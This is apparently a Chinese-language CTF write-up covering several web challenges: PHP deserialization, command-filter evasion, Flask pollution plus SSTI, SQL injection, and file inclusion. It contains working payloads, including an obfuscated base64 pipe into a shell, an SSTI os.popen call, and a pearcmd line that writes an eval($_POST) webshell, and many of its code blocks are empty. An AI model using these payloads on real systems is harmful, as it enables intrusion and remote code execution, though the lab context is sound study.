ez_php
1 |
|
反序列化,先写链子
1 | GOGOGO::__destruct()->DouBao::__toString()->HeiCaFei::__call |
这里的话触发__call
的方法很简单,先放poc
1 |
|
这里的话call_user_func_array会调用$d中的1函数,所以会触发__call
,同时函数名就是传入__call
的第一个参数$name,是可控的,那我们可以构造例如$name=ls的命令,然后让函数名也就是HongCaFei变量的值为system,这里还需要绕过GC回收机制,最终的poc
1 |
|
成功执行,后面只需要改一下函数名和参数名就行了
Really_Ez_Rce
1 |
|
第一个绕过很简单,用数组绕过就行了
关键在于第二个传参执行命令,一开始是用变量拼接的,但是后面读文件的时候一直因为过滤.
一直绕不过去,然后只能用编码绕过了
1 | cmd=echo Y2F0IC9mbCo= | ba$9se64 -d | s$9h |
奇怪的咖啡店(复现)
1 | from flask import Flask, session, request, render_template_string, render_template |
分析源码其实可以看得出来/add路由可以原型链污染,但是有过滤,看到这里有json.loads函数,可以用unicode编码绕过,污染_static_folder
实现任意文件读取,将该配置指向根目录,从而可以读取根目录上开始的任意文件
1 | {"__globals__" : {"app" : {"_static_folder" : "/"}}} |
换成unicode编码
1 | {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072" : "\u002f"}}} |
出现这个说明已经污染成功了,我们访问/static/app/app.py拿到最终源码
1 | from flask import Flask, session, request, render_template_string, render_template |
这里可以打ssti,因为可以进行原型链污染,那我们可以直接把param_black_list
和SECRET_KEY
污染掉,最后伪造cookie再打ssti就行了
1 | {"__globals__" : {"param_black_list" : ["1"]}} |
然后我们伪造session
1 | {'name': 'admin', 'permission': '{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls /").read()}}'} |
半成品login(复现)
一个登录口有弱口令admin/admin123
这个账号一直没爆出来,就返回登录口进行了测试,username只能输入字母和数字,所以压根打不进去,password的话过滤了单引号,但是用反斜杠转义的时候出现了报错,猜测这里应该还是可以sql注入的,但是一直没测出来
来复现了,测了一下发现双重urlencode可以绕过,那我们测一下注入点
1 | username=admin&password=admin123%2527# |
这里过滤了select,但是可以注意到php的版本是8.2.28,想起了之前战队面试的时候刚好问到一个php8的sql注入的新特性,就是可以用table代替select进行查询数据
放个师傅的脚本
1 | import requests |
最后拿到账号密码
1 | hackernbvag,d8578edf845 |
登录进去就拿到flag了
DeceptiFlag
在元素中发现有隐藏的输入框
并且抓包后也是可以看到还需要一个参数的
将none改成inline后出现另一个框框,根据画面有喜羊羊和灰太狼,分别传入xiyangyang和huitailang后跳转
有一个file参数或许可以打文件包含,尝试读取/etc/passwd但是没出,提示Trying to include files from root directory huh,难道是目录遍历?
但是后面一直没打出来
通过报错可以知道用了require_once
,且强制拼接了.php
后缀
用filter过滤器成功读出来,那我们读一下tips.php的源码
1 | ?file=php://filter/read=convert.base64-encode/resource=tips.php |
1 |
|
这里利用php8的一个函数str_starts_with检测开头是否是php://filter
,后面就是一些正则,不能以/
开头,也不能出现..
和空格,这样的话目录遍历打不了了,该怎么读文件呢?
不过后面在cookie中看到一个hint
解码后是/var/flag/flag.txt,啊?这就直接给路径了?一直没做出来,也没注意看
后面想起来用pearcmd也能打,直接写马
1 | ?+config-create+/&file=file:///usr/local/lib/php/pearcmd&/<?=@eval($_POST[%27cmd%27]);?>+test.php |
然后访问RCE就行了
Watch(复现)
从源码中可以看到这里进行了一个路径的拼接,意味着可能存在目录遍历漏洞,后面找出题人问了思路发现是一个https://pkg.go.dev/vuln/GO-2023-2185
1 | ilepath 包无法将以 \??\ 为前缀的路径识别为特殊路径。在 Windows 上,以 \??\ 开头的路径是根本地设备路径,相当于以 \\?\ 开头的路径。以 \??\ 为前缀的路径可用于访问系统上的任意位置。例如,路径 \??\c:\x 相当于更常见的路径 c:\x。修复之前,Clean 可以将根路径(例如 \a\..\??\b)转换为根本地设备路径 \??\b。现在,Clean 会将其转换为 .\??\b。同样,Join(\, ??, b) 可以将看似无害的路径元素序列转换为根本地设备路径 \??\b。现在,Join 会将其转换为 \.\??\b。此外,修复后,IsAbs 现在可以正确地将以 \??\ 开头的路径报告为绝对路径,VolumeName 可以正确地将 \??\ 前缀报告为卷名。更新:Go 1.20.11 和 Go 1.21.4 无意中更改了以 \? 开头的 Windows 路径中卷名的定义,导致 filepath.Clean(\?\c:) 返回 \?\c: 而不是 \?\c:\(以及其他影响)。之前的行为已恢复。 |
然后读取key
提交key就能拿到flag了